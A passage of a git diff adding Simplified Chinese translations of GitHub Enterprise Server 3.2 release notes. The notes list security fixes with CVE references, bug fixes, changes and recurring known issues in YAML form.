+ security_fixes: + - '**中:**发现了 nginx 解析器中的一个安全问题,可以从 DNS 服务器伪造 UDP 数据包的攻击者可能导致 1 字节内存覆盖,从而导致工作进程崩溃或其他潜在的破坏性影响。该漏洞的编号为 [CVE-2021-23017](https://nvd.nist.gov/vuln/detail/CVE-2021-23017)。' + - "更新了 `actions/checkout@v2` 和 `actions/checkout@v3` 操作以解决 [Git 安全措施实施博客文章](https://github.blog/2022-04-12-git-security-vulnerability-announced/)中公布的新漏洞。" + - 包已更新到最新的安全版本。 + bugs: + - 在某些群集拓扑中,`ghe-cluster-status` 命令会在 `/tmp` 中留下空目录。 + - SNMP 错误地将大量 `Cannot statfs` 错误消息记录到 syslog。 + - 对于配置了 SAML 身份验证和启用内置回退的实例,内置用户在尝试从退出登录后生成的页面登录时会陷入“登录”循环。 + - 上传到问题评论的视频将无法正确呈现。 + - 使用 SAML 加密断言时,某些断言未正确将 SSH 密钥标记为已验证。 + - 使用 `ghe-migrator` 时,迁移将无法在问题和拉取请求中导入视频文件附件。 + - '当存储库具有包含非 ASCII 字符的标记时,发布页面将返回 500 错误。[更新时间:2022-06-10]' + changes: + - 在高可用性配置中,阐明管理控制台中的复制概述页面仅显示当前复制配置,而不是当前复制状态。 + - "启用 {% data variables.product.prodname_registry %} 时,阐明当前不支持使用共享访问签名 (SAS) 令牌作为连接字符串。" + - 支持包现在包括存储在 MySQL 中的表的行数。 + - "现在可以在没有漏洞数据的情况下启用依赖项关系图,允许你查看正在使用的依赖项和版本。启用依赖项关系图而不启用 {% data variables.product.prodname_github_connect %} 不会**提供漏洞信息。" + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被移除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/14.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/14.yml new file mode 100644 index 0000000000..360c7618fc --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/14.yml @@ -0,0 +1,23 @@ +date: '2022-06-09' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - "如果主机名字符串以“.”开头(句点字符),则 {% data variables.product.prodname_ghe_server %} 配置文件中用于验证主机名的内部脚本将返回错误。" + - 在主节点的主机名超过 60 个字符的 HA 配置中,MySQL 将无法配置。 + - "`--gateway` 参数已添加到 `ghe-setup-network` 命令,以允许使用命令行配置网络设置时传递网关地址。" + - 删除的图像附件将返回 `500 内部服务器错误` 而非 `404 未找到` 错误。 + - 站点管理员仪表板中报告的“跨整个实例的最大提交者”的计算不正确。 + - "使用 {% data variables.product.prodname_enterprise_backup_utilities %} 执行还原时,存储库复制的数据库输入不正确导致数据库损坏。" + changes: + - 优化了生成群集支持包时包含的指标。 + - 在 Elasticsearch 报告有效的标黄状态的 HA 配置中,之前修复中引入的更改将阻止 `ghe-repl-stop` 命令,并且不允许停止复制。当服务处于正常或有效标黄状态时,使用 `ghe-repo-stop --force` 将强制 Elasticsearch 停止运行。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 Blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/15.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/15.yml new file mode 100644 index 0000000000..84169dfb99 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/15.yml @@ -0,0 +1,20 @@ +date: '2022-06-28' +sections: + security_fixes: + - "中****:确保 `github.company.com` 和 `github-company.com` 不会被内部服务评估为相同的主机名,从而防止潜在的服务器端安全性伪造 (SSRF) 攻击。" + - "低****:即使外部防火墙规则阻止了 HTTP 访问,攻击者也可以使用路径遍历攻击通过 HTTP 访问管理控制台。" + - 包已更新到最新安全版本。 + bugs: + - 在某些情况下,网站管理员未自动添加为企业所有者。 + - 将一个分支合并到默认分支之后,文件的“历史记录”链接仍然会链接到前一个分支,而不是目标分支。 + changes: + - 如果某些字段(如名称)的值过长,则创建或更新检查运行或检查套件可能返回“500 内部服务器错误”。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 Blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/16.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/16.yml new file mode 100644 index 0000000000..8112ab2044 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/16.yml @@ -0,0 +1,26 @@ +date: '2022-07-21' +sections: + security_fixes: + - "中****:防止服务器端请求伪造 (SSRF) 可能通过向 Memcached 注入任意数据来强制 Subversion (SVN) 桥执行远程代码的攻击。" + - "将 Grafana 更新到版本 7.5.16,这样可以解决各种安全漏洞,包括 [CVE-2020-13379](https://github.com/advisories/GHSA-wc9w-wvq2-ffm9) 和 [CVE-2022-21702](https://github.com/grafana/grafana/security/advisories/GHSA-xc3p-28hw-q24g)。" + - 包已更新到最新安全版本。 + bugs: + - 修复了使用解压缩工具解压缩时项目压缩存档中的文件权限为 000 的问题。现在这些文件的权限将设置为 644,就像在 GitHub.com 中那样。 + - 在某些情况下,collectd 守护进程可能会消耗过多内存。 + - 在某些情况下,旋转日志文件备份可能会累积并消耗过多存储。 + - 在升级到新功能版本并运行后续配置之后,Elasticsearch 可能在重新生成索引时记录过多异常。 + - 在某些情况下,受保护的分支需要多个批准的审查,一个拉取请求可以合并少于所需数量的批准审查。 + - 在使用 LDAP 身份验证的实例中,当用户名和密码的文本字段都可见时,sudo 模式的身份验证提示在默认情况下将光标错误地放置在密码字段中。 + changes: + - "`ghe-set-password` 命令行实用程序在以恢复模式启动实例时自动启动所需的服务。" + - 将收集 `aqueduct` 后台进程指标进行 Collectd 转发并显示在管理控制台中。 + - 数据库迁移和配置运行日志 `/data/user/common/ghe-config.log` 的位置现在显示在详细描述正在进行的迁移的页面上。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在以后解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/17.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/17.yml new file mode 100644 index 0000000000..ab9a5a6bbf --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/17.yml @@ -0,0 +1,20 @@ +date: '2022-08-11' +sections: + security_fixes: + - |严重****:GitHub Enterprise Server 的 Elasticsearch 容器使用的 OpenJDK 8 版本在处理恶意 XSLT 样式表时容易出现整数截断问题。该漏洞的编号为 [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf)。 + +| + - |高****:在用户帐户转换为组织帐户后,用户帐户上以前安装的应用程序会自动获得访问作用域内访问令牌上的组织的权限。此漏洞是通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告的。 + +| + bugs: + - "当为实例设置自定义休眠阈值时,暂停所有休眠用户并不能可靠地遵从阈值。有关休眠的详细信息,请参阅“[管理休眠用户](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)”。" + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在以后解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/18.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/18.yml new file mode 100644 index 0000000000..f14a33838f --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/18.yml @@ -0,0 +1,16 @@ +date: '2022-08-30' +sections: + bugs: + - 管理控制台和 `/home/admin/.ssh/authorized_keys` 文件中可能会出现重复的管理 SSH 密钥。 + - 在某些情况下,尽管不是线程安全的,但由于同时使用的库,可能会导致后台任务停止。 + changes: + - "由于并行日志清理,支持包的生成速度更快。有关支持包的详细信息,请参阅“[将数据提供给 GitHub 支持](/support/contacting-github-support/providing-data-to-github-support)”。" + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - "对 {% data variables.product.prodname_github_connect %} 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 {% data variables.product.prodname_dotcom_the_website %} 搜索结果中。" + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在以后解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/2.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/2.yml new file mode 100644 index 0000000000..ca97d64172 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/2.yml @@ -0,0 +1,23 @@ +date: '2021-10-28' +sections: + security_fixes: + - '明文密码可能会出现在某些日志文件中。' + - '多个已知弱 SSH 公钥已添加到拒绝列表中,无法再进行注册。此外,已知会生成弱 SSH 密钥的 GitKraken 版本(7.6.x、7.7.x 和 8.0.0)已被阻止注册新的公钥。' + - '包已更新到最新的安全版本。' + bugs: + - '如果业务流程协调程序运行不正常,企业服务器在群集模式下的还原可能会失败。' + - '代码空间链接显示在组织设置中。' + - '拥有许多组织的用户无法使用应用程序的多个部分。' + - '修复了 https://docs.github.com 链接。' + changes: + - '具有多个引用的存储库的浏览和作业性能优化。' + known_issues: + - 在存储库中保存新版本后,`/releases` 页面显示 500 错误。此问题的修复程序预计将在 3.2.3 中发布。 + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中 blob 的永久链接并且该 blob 的文件路径长于 255 个字符,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/3.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/3.yml new file mode 100644 index 0000000000..cf4f2569ed --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/3.yml @@ -0,0 +1,31 @@ +date: '2021-11-09' +sections: + security_fixes: + - "在 {% data variables.product.prodname_ghe_server %} 上发现了在构建 {% data variables.product.prodname_pages %} 时出现的路径遍历漏洞,攻击者可利用该漏洞读取系统文件。要利用此漏洞,攻击者需要获得在 {% data variables.product.prodname_ghe_server %} 实例上创建和构建 {% data variables.product.prodname_pages %} 站点的权限。此漏洞影响 3.3 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,并在 3.0.19、3.1.11 和 3.2.3 中修复。该漏洞通过 {% data variables.product.company_short %} Bug 悬赏计划报告,编号为 CVE-2021-22870。" + - 包已更新到最新的安全版本。 + bugs: + - "部分 Git 操作在升级 {% data variables.product.prodname_ghe_server %} 3.x 群集后由于 HAProxy 配置而失败。" + - 在群集模式下,Unicorn 辅助角色计数可能会设置错误。 + - 在群集模式下,Resqued 辅助角色计数可能会设置错误。 + - 如果 Ubuntu Uncomplicated Firewall (UFW) 处于不活动状态,客户端可能无法在日志中清楚地看到它。 + - "当 LDAP 配置中存在 UTF8 字符时,从 {% data variables.product.prodname_ghe_server %} 2.x 到 3.x 的升级会失败。" + - 某些页面和与 Git 相关的后台作业可能无法在具有某些群集配置的群集模式下运行。 + - 服务器统计信息的文档链接已损坏。 + - "创建新标记时,[推送](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) Webhook 有效负载不显示正确的 `head_commit` 对象。现在,创建新标记时,推送 Webhook 有效负载始终包括 `head_commit` 对象,其中包含新标记指向的提交数据。因此,`head_commit` 对象将始终包含有效负载 `after` 提交的提交数据。" + - "企业审核日志页面不会显示 {% data variables.product.prodname_secret_scanning %} 的审核事件。" + - 副本修复的作业超时时间不足。 + - 查看版本时,存储库的发布页面将返回 500 错误。 + - '在查看文件时,不会警告用户有潜在危险的双向 Unicode 字符。有关详细信息,请参阅 {% data variables.product.prodname_blog %} 中的“[有关双向 Unicode 文本的警告](https://github.co/hiddenchars)”。' + - Hookshot Go 发送了 Collectd 无法处理的分布类型指标,这导致解析错误激增。 + - "公共存储库显示来自 {% data variables.product.prodname_secret_scanning %} 的意外结果,类型为“未知令牌”。" + changes: + - 已添加 Kafka 配置改进。删除存储库时,现在会立即从存储帐户中删除包文件以释放空间。`DestroyDeletedPackageVersionsJob` 现在从存储帐户中删除过期包的包文件以及元数据记录。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/4.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/4.yml new file mode 100644 index 0000000000..72cbad67f6 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/4.yml @@ -0,0 +1,30 @@ +date: '2021-11-23' +intro: 由于影响多个客户的重大错误,已禁用下载。修复程序将在下一个补丁中提供。 +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 如果已启用 GitHub Actions,运行 `ghe-repl-start` 或 `ghe-repl-status` 可能会在连接到数据库时返回错误。 + - 如果未定义 `PATH`,预接收挂钩会失败。 + - '如果曾将实例配置为副本,运行 `ghe-repl-setup` 会返回错误:“无法创建目录 /data/user/elasticsearch:文件已存在”。' + - '运行 `ghe-support-bundle` 返回错误:“应为整数表达式”。' + - '设置高可用性副本后,`ghe-repl-status` 在输出中包含错误:“命令中未关闭的意外操作”。' + - 在大型群集环境中,某部分前端节点可能无法使用身份验证后端。 + - 在 GHES 群集的后端节点上,一些关键服务可能不可用。 + - "`/repos` API 返回给用户的存储库权限不会返回完整的列表。" + - 在某些情况下,GraphQL 架构中的 `Team` 对象上的 `childTeams` 连接会产生不正确的结果。 + - 在高可用性配置中,存储库维护在人员工具中总是显示为失败,即使成功了也是如此。 + - 用户定义的模式不会检测 `package.json` 或 `yarn.lock` 等文件中的机密。 + changes: + - 在使用 `ghe-cluster-suport-bundle` 创建群集支持包时,现在会默认关闭额外一层的外部 `gzip` 压缩。使用 `ghe-cluster-suport-bundle -c` 命令行选项可以选择应用此外部压缩。 + - 我们在管理控制台添加了额外的文本,以提醒用户移动应用的数据收集,目的是改善体验。 + - "{% data variables.product.prodname_github_connect %} 数据连接记录现在会列出已启用的 {% data variables.product.prodname_github_connect %} 功能。[更新时间:2021-12-09]" + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中 blob 的永久链接并且该 blob de 文件路径长于 255 个字符,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/5.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/5.yml new file mode 100644 index 0000000000..e3b6aef065 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/5.yml @@ -0,0 +1,28 @@ +date: '2021-12-07' +sections: + security_fixes: + - 支持包可以包含敏感文件,前提是它们满足一组特定条件。 + - "在 GitHub Enterprise Server 中发现了一个 UI 虚假陈述漏洞,该漏洞允许在 GitHub 应用程序的用户授权 Web 流期间授予比在审批期间向用户显示的更多权限。此漏洞影响 GitHub Enterprise Server 3.3 之前的所有版本,已在 3.2.5、3.1.13 和 3.0.21 中修复。此漏洞通过 GitHub Bug 赏金计划报告,编号为 [CVE-2021-41598](https://www.cve.org/CVERecord?id=CVE-2021-41598)。" + - "在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的远程代码执行漏洞。此漏洞影响 GitHub Enterprise Server 3.3 之前的所有版本,已在 3.0.21、3.1.13 和 3.2.5 中修复。此漏洞通过 GitHub Bug 赏金计划报告,编号为 [CVE-2021-41599](https://www.cve.org/CVERecord?id=CVE-2021-41599)。更新时间:2022 年 2 月 17 日。" + bugs: + - 在某些未启用操作的情况下,`ghe-support-bundle` 报告了意外消息“无法找到 MS SQL 容器”。 + - 由于 `/data/user/tmp/pages` 中存在权限问题,`ghe-config-apply` 的运行有时可能会失败。 + - 管理控制台中的错误配置导致了调度错误。 + - Docker 会在日志轮换后保持日志文件打开。 + - 由于对不兼容 UTF-8 的 `blob_path` 值的错误处理,迁移可能会停滞。 + - GraphQL 请求未在预接收挂钩环境中设置 GITHUB_USER_IP 变量。 + - 组织审计日志上的分页链接不会保留查询参数。 + - 在热补丁期间,如果多次运行转换,则可能会出现重复的哈希。 + changes: + - 阐明了文档中对 Actions 路径样式的解释。 + - 更新支持联系 URL 以使用当前支持站点 support.github.com。 + - 运行 `ghe-mssql-diagnostic` 时提供了其他疑难解答。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中 blob 的永久链接并且该 blob 的文件路径长于 255 个字符,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/6.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/6.yml new file mode 100644 index 0000000000..239c0e710b --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/6.yml @@ -0,0 +1,14 @@ +date: '2021-12-13' +sections: + security_fixes: + - '{% octicon "alert" aria-label="The alert icon" %} 严重:****在 Log4j 库中发现远程代码执行漏洞,该漏洞会影响 3.3.1 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,漏洞编号为 [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228)。Log4j 库用于在 {% data variables.product.prodname_ghe_server %} 实例上运行的开源服务。已在 {% data variables.product.prodname_ghe_server %} 3.0.22、3.1.14、3.2.6 和 3.3.1 中修复该漏洞。 有关详细信息,请参阅 GitHub 博客[文章](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/)。' + - '2021 年 12 月 17 日更新****:此版本中的修复也能缓解在该版本之后发布的 [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)。无需再升级 {% data variables.product.prodname_ghe_server %},即可缓解 CVE-2021-44228 和 CVE-2021-45046。' + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 Blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样可以大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/7.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/7.yml new file mode 100644 index 0000000000..fdb9db199d --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/7.yml @@ -0,0 +1,23 @@ +date: '2022-01-18' +sections: + security_fixes: + - '包已更新到最新的安全版本。在这些更新中,Log4j 已更新至版本 2.17.1。注意:以前在 3.3.1、3.2.6、3.1.14 和 3.0.22 中发布的缓解措施已经足够解决这些 GitHub Enterprise Server 版本中 CVE-2021-44228、CVE-2021-45046、CVE-2021-45105 和 CVE-2021-44832 的影响。' + - 清理生成的支持包中的更多机密 + - 包已更新到最新的安全版本。 + bugs: + - 操作自托管运行器在从较旧的 GHES 安装升级后将无法自我更新或运行新作业。 + - 将 MinIO 配置为 GitHub 包的 Blob 存储时,无法验证存储设置。 + - 由于 `/data/user/tmp/pages` 中存在权限问题,运行 `ghe-config-apply` 有时可能会失败。 + - 在低分辨率的浏览器中滚动,可能无法找到管理控制台中的保存按钮。 + - Collectd 版本升级后,IOPS 和存储流量监视图未更新。 + - 一些与 Webhook 相关的作业可能会产生大量的日志。 + - 多个文档链接导致“404 找不到”错误。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中 blob 的永久链接并且该 blob 的文件路径长于 255 个字符,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。我们继续拥有将时间值作为元数据响应的一部分返回所需的所有数据,并将在以后解决现有性能问题后恢复返回该值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/8.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/8.yml new file mode 100644 index 0000000000..5f00f51c99 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/8.yml @@ -0,0 +1,26 @@ +date: '2022-02-01' +sections: + security_fixes: + - 包已更新到最新安全版本。 + bugs: + - 在 MySQL 机密轮换后,页面将不可用,直到手动重启 `nginx`。 + - "如果启用 {% data variables.product.prodname_actions %},迁移可能会失败。" + - 使用 ISO 8601 日期设置维护计划时,由于时区未转换为 UTC,因此实际计划时间将不匹配。 + - 有关 `cloud-config.service` 的虚假错误消息将输出到控制台。 + - 使用 `ghe-cluster-each` 安装热补丁后,版本号将无法正确更新。 + - Webhook 表清理作业可能同时运行,从而导致资源争用且作业运行时间增加。 + - 从主节点运行时,副本节点上的 `ghe-repl-teardown` 不会将副本节点从 MSSQL 可用性组中删除。 + - 使用 CAS 身份验证并启用“重新激活暂停的用户”选项时,暂停的用户不会自动重新激活。 + - 以下功能无法正常使用:仅限对在经过验证或批准的域上具有电子邮件的用户发送基于电子邮件的通知。 + - 与“安全警报”设置相关的长期数据库迁移可能会延迟升级完成。 + changes: + - GitHub Connect 数据连接记录现在包括活动和休眠用户数量计数以及配置的休眠期。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - 